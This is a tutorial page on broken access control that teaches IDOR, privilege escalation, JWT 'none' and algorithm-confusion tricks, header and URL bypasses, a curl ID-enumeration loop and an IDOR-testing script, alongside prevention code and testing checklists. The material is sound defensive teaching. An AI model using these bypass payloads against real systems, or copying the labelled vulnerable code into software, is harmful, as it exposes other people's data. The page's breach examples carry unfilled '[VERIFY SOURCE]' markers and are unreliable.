Back to Attack Flows

Table of Contents

What is Broken Access Control?

Broken Access Control occurs when an application fails to properly enforce restrictions on what authenticated users are allowed to do. This enables attackers to access unauthorized functionality and data, acting outside their intended permissions. [VERIFY SOURCE] Access control enforces policy such that users cannot act outside of their intended permissions. When these controls fail or are improperly implemented, attackers can:

Why is it Critical?

Broken Access Control is the #1 vulnerability in the OWASP Top 10 (2021) and remains pervasive because:

Types of Access Control

How Broken Access Control Works

The Vulnerable Pattern

Broken Access Control occurs when applications rely on client-side controls or fail to verify authorization on the server-side:

# VULNERABLE CODE - No authorization check
@app.route('/user/profile')
def get_profile():
    user_id = request.args.get('user_id')
    # DANGEROUS: No check if current user can access this user_id
    user = db.get_user(user_id)
    return render_template('profile.html', user=user)

The Attack

An attacker modifies the user_id parameter to access other users' profiles:

# Normal request (User ID 123):
GET /user/profile?user_id=123

# Attacker changes parameter:
GET /user/profile?user_id=456
# ✅ Access to User 456's profile without authorization!

# Try admin account:
GET /user/profile?user_id=1
# ✅ Potential admin account access!

Common Vulnerability Patterns

1. Insecure Direct Object References (IDOR)

Direct access to objects without authorization checks:

# VULNERABLE: Direct database access
@app.route('/document/')
def view_document(doc_id):
    document = Document.query.get(doc_id)  # No ownership check!
    return render_template('document.html', doc=document)

# Attack:
# /document/1 - Your document
# /document/2 - Someone else's document (accessible!)
# /document/100 - Try sequential IDs

2. Missing Function Level Access Control

Privileged functions accessible to regular users:

# VULNERABLE: Admin function with no role check
@app.route('/admin/delete_user')
def delete_user():
    user_id = request.args.get('user_id')
    User.query.filter_by(id=user_id).delete()  # No admin check!
    return "User deleted"

# Any authenticated user can call this endpoint!

3. Parameter Tampering

Manipulating request parameters to gain unauthorized access:

# Original request:
POST /update_profile
{
    "user_id": 123,
    "email": "user@example.com",
    "role": "user"
}

# Attacker modifies hidden parameters:
POST /update_profile
{
    "user_id": 123,
    "email": "user@example.com",
    "role": "admin"  # Privilege escalation!
}

4. JWT/Token Manipulation

Weak or improperly validated tokens:

# Vulnerable JWT payload:
{
    "user_id": 123,
    "role": "user",
    "admin": false
}

# Attacker modifies (if not properly signed):
{
    "user_id": 123,
    "role": "admin",
    "admin": true
}

5. Path Traversal in Access Control

Bypassing directory restrictions:

# Intended access:
GET /files/user123/document.pdf

# Attack with path traversal:
GET /files/user123/../user456/document.pdf
GET /files/user123/../../admin/secret.pdf

Advanced Attack Techniques

1. Horizontal Privilege Escalation

Accessing resources belonging to other users at the same privilege level:

# Enumerate user IDs
GET /api/user/1/profile
GET /api/user/2/profile
GET /api/user/3/profile

# Test with GUIDs (if predictable or enumerable)
GET /api/user/a1b2c3d4-e5f6-7890-abcd-ef1234567890/orders

# Try email-based identifiers
GET /api/user/victim@example.com/data

# Cookie/session manipulation
Cookie: user_id=123  →  user_id=456

2. Vertical Privilege Escalation

Gaining higher-level permissions (user → admin):

# Method 1: Direct admin endpoint access
GET /admin/dashboard
GET /api/admin/users
POST /admin/create_user

# Method 2: Role parameter manipulation
POST /register
{
    "username": "attacker",
    "password": "pass123",
    "role": "admin"  # Try to set admin role during registration
}

# Method 3: Cookie/session modification
Cookie: role=user  →  role=admin
Cookie: is_admin=0  →  is_admin=1

3. IDOR Exploitation Patterns

# Sequential ID enumeration
for i in {1..1000}; do
    curl "https://api.example.com/invoice/$i" -H "Authorization: Bearer TOKEN"
done

# Predictable patterns
/api/order/2024-001
/api/order/2024-002
/api/order/2024-003

# Base64 encoded IDs
/api/document/MTIz  (123 in base64)
/api/document/MTI0  (124 in base64)

# Hash-based but predictable
/api/file/md5(user_id + file_id)

4. API Access Control Bypass

# Method override
POST /api/user/123
X-HTTP-Method-Override: DELETE

# Verb tampering
GET /api/admin/users  (blocked)
POST /api/admin/users (might work)
HEAD /api/admin/users (might work)

# API version manipulation
/api/v1/admin/users (protected)
/api/v2/admin/users (might be unprotected)
/api/admin/users (old endpoint without protection)

5. Multi-Step Process Bypass

# Normal flow:
Step 1: POST /purchase/add-to-cart
Step 2: GET /purchase/checkout
Step 3: POST /purchase/confirm

# Attack: Skip payment step
Step 1: POST /purchase/add-to-cart
Step 3: POST /purchase/confirm (direct access!)

6. Referer-Based Access Control Bypass

# Vulnerable: Access control based on referer
GET /admin/delete_user?id=123
Referer: https://example.com/admin/users

# Attack: Spoof referer from any page
GET /admin/delete_user?id=123
Referer: https://example.com/admin/users
# (even though user isn't actually coming from admin page)

7. Mass Assignment Vulnerabilities

# VULNERABLE: Accepts all parameters
@app.route('/update_profile', methods=['POST'])
def update_profile():
    user = User.query.get(current_user.id)
    user.update(**request.json)  # Mass assignment!
    db.session.commit()

# Attack payload:
{
    "email": "new@email.com",
    "is_admin": true,
    "account_balance": 1000000,
    "verified": true
}

Defense Bypass Strategies

Bypassing Client-Side Access Controls

1. Hidden Form Fields


<form action="/transfer" method="POST">
    <input type="hidden" name="account" value="123">
    <input type="hidden" name="is_admin" value="false">
    <input type="text" name="amount">
    <button>Submit</button>
</form>


POST /transfer
account=456&is_admin=true&amount=10000

2. Disabled Buttons/UI Elements


<button id="admin-btn" disabled>Admin Panel</button>


document.getElementById('admin-btn').disabled = false;
// Or directly calls the API endpoint
fetch('/admin/panel')

3. JavaScript-Based Restrictions

// Vulnerable client-side check
if (user.role !== 'admin') {
    // Hide admin menu
    document.getElementById('admin-menu').style.display = 'none';
}

// Attacker bypasses by directly calling API
fetch('/api/admin/users', {
    headers: {'Authorization': 'Bearer ' + token}
})

Bypassing Weak Server-Side Controls

1. URL Pattern Bypasses

# Protected path:
/admin/ (requires admin role)

# Bypass attempts:
/admin
/admin//
/admin/./
/admin/../admin/
/ADMIN/
/admin%2f
/admin%00

2. Header Manipulation

# Some apps check headers for authorization
X-Original-URL: /admin/dashboard
X-Rewrite-URL: /admin/dashboard
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1

3. Case Sensitivity Exploitation

# If checks are case-sensitive but routes aren't:
/api/Admin/users
/api/ADMIN/users
/api/AdMiN/users

4. File Extension Bypasses

# Protected:
/admin/config.json

# Bypass attempts:
/admin/config.json.php
/admin/config.json%00.jpg
/admin/config.json?param=value

Bypassing Token-Based Controls

1. JWT Algorithm Confusion

# Server validates JWT using RS256 (asymmetric)
# Attacker changes algorithm to HS256 (symmetric)
# Uses public key as HMAC secret

# Modified JWT header:
{
    "alg": "HS256",  # Changed from RS256
    "typ": "JWT"
}
# Server might accept if not validating algorithm properly

2. JWT None Algorithm

# JWT header:
{
    "alg": "none",
    "typ": "JWT"
}
# Payload:
{
    "user_id": 123,
    "role": "admin"
}
# No signature validation!

Prevention & Mitigation

1. Deny by Default

THE PRIMARY DEFENSE

# ✅ GOOD: Deny by default, explicit allow
@app.route('/admin/dashboard')
@require_role('admin')  # Decorator checks authorization
def admin_dashboard():
    return render_template('admin.html')

# ✅ GOOD: Check ownership for every resource access
@app.route('/document/')
def view_document(doc_id):
    document = Document.query.get(doc_id)
    if not document:
        abort(404)
    
    # Verify current user owns or has access to this document
    if document.owner_id != current_user.id and not current_user.is_admin:
        abort(403)
    
    return render_template('document.html', doc=document)

2. Implement Proper Authorization Checks

# Python/Flask example with role-based access control
from functools import wraps
from flask import abort, session

def require_role(role):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            if not session.get('user_role') == role:
                abort(403)  # Forbidden
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# Usage:
@app.route('/admin/users')
@require_role('admin')
def list_users():
    return User.query.all()
// Java Spring Security example
@RestController
@RequestMapping("/api")
public class UserController {
    
    @GetMapping("/user/{userId}")
    @PreAuthorize("hasRole('ADMIN') or @userSecurity.isOwner(#userId)")
    public User getUser(@PathVariable Long userId) {
        return userService.findById(userId);
    }
}

// Custom security check
@Component
public class UserSecurity {
    public boolean isOwner(Long userId) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        User currentUser = (User) auth.getPrincipal();
        return currentUser.getId().equals(userId);
    }
}

3. Use Indirect Object References

# ❌ BAD: Direct database IDs exposed
GET /api/document/12345

# ✅ GOOD: Use unpredictable tokens or map to user context
import secrets

# Generate unique, unpredictable reference
document.access_token = secrets.token_urlsafe(32)

# Access via token instead of ID
GET /api/document/k7mP9nQ2rT5vW8xY1zA3bC4dE6fG8hJ9

# Or use session-based mapping
session['accessible_documents'] = [1, 5, 7, 12]
# Map index to actual IDs
GET /api/document/0  # Maps to document 1 for this user

4. Attribute-Based Access Control (ABAC)

# Define access policies based on attributes
class AccessPolicy:
    @staticmethod
    def can_view_document(user, document):
        # Owner can always view
        if document.owner_id == user.id:
            return True
        
        # Shared documents
        if user.id in document.shared_with:
            return True
        
        # Admins can view all
        if user.role == 'admin':
            return True
        
        # Department members can view department docs
        if document.department == user.department and document.is_public:
            return True
        
        return False

# Usage:
@app.route('/document/')
def view_document(doc_id):
    document = Document.query.get_or_404(doc_id)
    
    if not AccessPolicy.can_view_document(current_user, document):
        abort(403)
    
    return render_template('document.html', doc=document)

5. Implement Least Privilege

# Example: Time-limited admin access
def grant_temporary_admin(user_id, duration_minutes=30):
    expiry = datetime.now() + timedelta(minutes=duration_minutes)
    user = User.query.get(user_id)
    user.temp_admin_until = expiry
    db.session.commit()

def check_admin_access(user):
    if user.role == 'admin':
        return True
    if user.temp_admin_until and user.temp_admin_until > datetime.now():
        return True
    return False

6. Secure JWT Implementation

import jwt
from datetime import datetime, timedelta

# ✅ GOOD: Proper JWT implementation
def create_token(user):
    payload = {
        'user_id': user.id,
        'role': user.role,
        'exp': datetime.utcnow() + timedelta(hours=1),
        'iat': datetime.utcnow()
    }
    # Use strong algorithm and secret
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token

def verify_token(token):
    try:
        # Verify signature and expiration
        payload = jwt.decode(
            token, 
            SECRET_KEY, 
            algorithms=['HS256'],  # Explicitly specify allowed algorithms
            options={'verify_exp': True}
        )
        return payload
    except jwt.ExpiredSignatureError:
        abort(401, 'Token expired')
    except jwt.InvalidTokenError:
        abort(401, 'Invalid token')

7. Regular Access Control Audits

8. Defense in Depth

# Multiple layers of access control
@app.route('/api/admin/delete_user/', methods=['DELETE'])
@require_authentication  # Layer 1: Must be logged in
@require_role('admin')   # Layer 2: Must be admin
@rate_limit('10/minute') # Layer 3: Rate limiting
def delete_user(user_id):
    # Layer 4: Additional business logic checks
    user_to_delete = User.query.get_or_404(user_id)
    
    # Can't delete yourself
    if user_to_delete.id == current_user.id:
        abort(400, "Cannot delete your own account")
    
    # Can't delete super admin
    if user_to_delete.role == 'super_admin':
        abort(403, "Cannot delete super admin")
    
    # Layer 5: Audit logging
    audit_log.record('user_deletion', {
        'deleted_by': current_user.id,
        'deleted_user': user_id,
        'timestamp': datetime.now()
    })
    
    user_to_delete.delete()
    return {'success': True}

Detection & Testing

Manual Testing Techniques

1. IDOR Testing

# Create two test accounts
Account A: user_id=100
Account B: user_id=101

# Log in as Account A, capture requests
GET /api/user/100/profile
GET /api/user/100/orders
GET /api/user/100/documents/1

# Try accessing Account B's resources
GET /api/user/101/profile
GET /api/user/101/orders
GET /api/user/101/documents/1

# Test modifications
POST /api/user/101/update
DELETE /api/user/101/documents/1

2. Privilege Escalation Testing

# As regular user, try admin endpoints
GET /admin/dashboard
GET /api/admin/users
POST /api/admin/create_user
DELETE /api/admin/delete_user/123

# Parameter manipulation
POST /api/update_profile
{
    "role": "admin",
    "is_admin": true,
    "permissions": ["*"]
}

# Cookie/session manipulation
Cookie: role=user → role=admin
Cookie: user_type=2 → user_type=1

3. Multi-Account Testing

# Test with different account types:
1. Unauthenticated user
2. Authenticated regular user
3. Authenticated privileged user
4. Admin user

# For each resource:
- Can unauthenticated access it?
- Can user A access user B's data?
- Can regular user access admin functions?
- Are there any bypass techniques?

4. HTTP Method Testing

# Test different HTTP methods
GET /api/admin/users
POST /api/admin/users
PUT /api/admin/users
DELETE /api/admin/users
PATCH /api/admin/users
HEAD /api/admin/users
OPTIONS /api/admin/users

# Method override
POST /api/user/123
X-HTTP-Method-Override: DELETE

Automated Testing Tools

Burp Suite

OWASP ZAP

Custom Testing Scripts

# Python script for IDOR testing
import requests

# Test user credentials
users = [
    {'id': 1, 'token': 'token_user_1'},
    {'id': 2, 'token': 'token_user_2'},
    {'id': 3, 'token': 'token_user_3'}
]

base_url = 'https://api.example.com'

# Test each user accessing other users' resources
for user in users:
    print(f"\n[*] Testing as User {user['id']}")
    headers = {'Authorization': f"Bearer {user['token']}"}
    
    for target_id in range(1, 100):
        url = f"{base_url}/api/user/{target_id}/profile"
        response = requests.get(url, headers=headers)
        
        if response.status_code == 200 and target_id != user['id']:
            print(f"[!] VULNERABILITY: User {user['id']} can access User {target_id}")

Code Review Checklist

Search for these vulnerable patterns:

# Missing authorization checks
grep -r "query.get\|query.filter" --include="*.py"
grep -r "@app.route\|@api.route" --include="*.py" | grep -v "@require"

# Direct object references
grep -r "request.args.get\|request.form\|request.json" --include="*.py"

# Hidden fields
grep -r "type=\"hidden\"" --include="*.html"

# Client-side role checks
grep -r "if.*role.*==" --include="*.js"

# Mass assignment
grep -r "update\(.*request" --include="*.py"

Testing Checklist

Real-World Examples

Notable Breaches and Incidents

1. Facebook Photo Vulnerability (2020) [VERIFY SOURCE]

2. Strava Fitness Tracker (2018) [VERIFY SOURCE]

3. Parler Social Network (2021) [VERIFY SOURCE]

4. Peloton API Vulnerability (2021) [VERIFY SOURCE]

5. Instagram Vulnerability (2019) [VERIFY SOURCE]

6. Shopify Admin Access (2020) [VERIFY SOURCE]

Common Vulnerable Scenarios

Attack Impact Examples

# E-commerce IDOR
# Attacker changes order ID to view other customers' orders
GET /api/order/12345
→ Access to: shipping address, items, payment info, phone number

# Banking horizontal privilege escalation
# User accesses another account's transactions
GET /api/account/98765/transactions
→ Access to: balance, transaction history, account holders

# Healthcare IDOR
# Medical staff views unauthorized patient records
GET /api/patient/54321/records
→ Access to: diagnoses, medications, test results, personal info

# API vertical privilege escalation
# Regular user calls admin-only endpoint
POST /api/admin/grant_premium
→ Result: Free premium access, bypassing payment

Quick Reference

Common Test Payloads

# ID Enumeration
/api/user/1
/api/user/2
/api/user/100
/api/document/1234
/api/order/9999

# Parameter Manipulation
user_id=123 → user_id=456
account=mine → account=admin
role=user → role=admin
is_admin=false → is_admin=true

# Path Traversal
/files/user123/../user456/file.pdf
/api/account/123/../../admin/users

# Method Override
X-HTTP-Method-Override: DELETE
X-HTTP-Method-Override: PUT
X-Method-Override: ADMIN

# Token Manipulation
JWT with role=admin
Cookie: admin=true
Session: privileges=elevated

# Direct Admin Access
/admin
/admin/dashboard
/api/admin/users
/administrator
/moderator

Testing Workflow

# 1. Identify all endpoints and parameters
- Map application functionality
- Note authenticated vs unauthenticated areas
- Identify user roles and permissions

# 2. Create test accounts
- Regular user account
- Privileged user account
- Admin account (if possible)

# 3. Test horizontal access control
- Log in as User A
- Try accessing User B's resources
- Document successful unauthorized access

# 4. Test vertical access control
- Log in as regular user
- Try accessing admin endpoints
- Test privilege escalation techniques

# 5. Test IDOR vulnerabilities
- Enumerate IDs for all resources
- Modify IDs in requests
- Check for predictable patterns

# 6. Test without authentication
- Try accessing protected endpoints
- Check if auth is properly enforced
- Test direct object access

Prevention Checklist

Detection Checklist

Code Review Red Flags

# Missing authorization check
def get_user_data(user_id):
    return User.query.get(user_id)  # No ownership check!

# Client-side role check only
if current_user.role == 'admin':
    show_admin_panel()  # Server doesn't verify!

# Direct parameter usage
user_id = request.args.get('user_id')
data = db.get_data(user_id)  # No validation!

# Exposed admin endpoints
@app.route('/admin/delete')  # No @require_admin decorator!
def delete_user():
    pass

# Mass assignment
user.update(**request.json)  # Accepts all parameters!

# Predictable IDs
id = last_id + 1  # Sequential, easily enumerable

Resources